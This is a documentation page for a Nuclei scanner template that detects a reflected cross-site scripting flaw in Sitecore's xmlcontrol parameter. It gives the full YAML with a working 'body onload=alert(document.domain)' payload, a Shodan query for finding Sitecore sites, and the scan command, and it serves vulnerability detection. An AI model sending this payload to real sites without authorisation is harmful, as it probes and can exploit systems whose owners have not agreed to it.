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SiteCore XML Control Script Insertion

ID: sitecore-xml-xss

Severity: medium

Author: DhiyaneshDK

Tags: xss,sitecore,cms

Description

Section titled “Description”

Sitecores “special way” of displaying XML Controls directly allows for a Cross Site Scripting Attack – more can be achieved with these XML Controls

YAML Source

Section titled “YAML Source”
id: sitecore-xml-xss


info:
  name: SiteCore XML Control Script Insertion
  author: DhiyaneshDK
  severity: medium
  description: |
    Sitecores “special way” of displaying XML Controls directly allows for a Cross Site Scripting Attack – more can be achieved with these XML Controls
  reference: |
    - https://vulners.com/securityvulns/SECURITYVULNS:DOC:30273
    - https://web.archive.org/web/20151016072340/http://www.securityfocus.com/archive/1/530901/100/0/threaded
  classification:
    cpe: cpe:2.3:a:sitecore:sitecore.net:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sitecore
    product: sitecore.net
    shodan-query: html:"Sitecore"
  tags: xss,sitecore,cms


http:
  - method: GET
    path:
      - "{{BaseURL}}/?xmlcontrol=body%20onload=alert(document.domain)"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<body onload=alert(document.domain) />"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/sitecore/sitecore-xml-xss.yaml"

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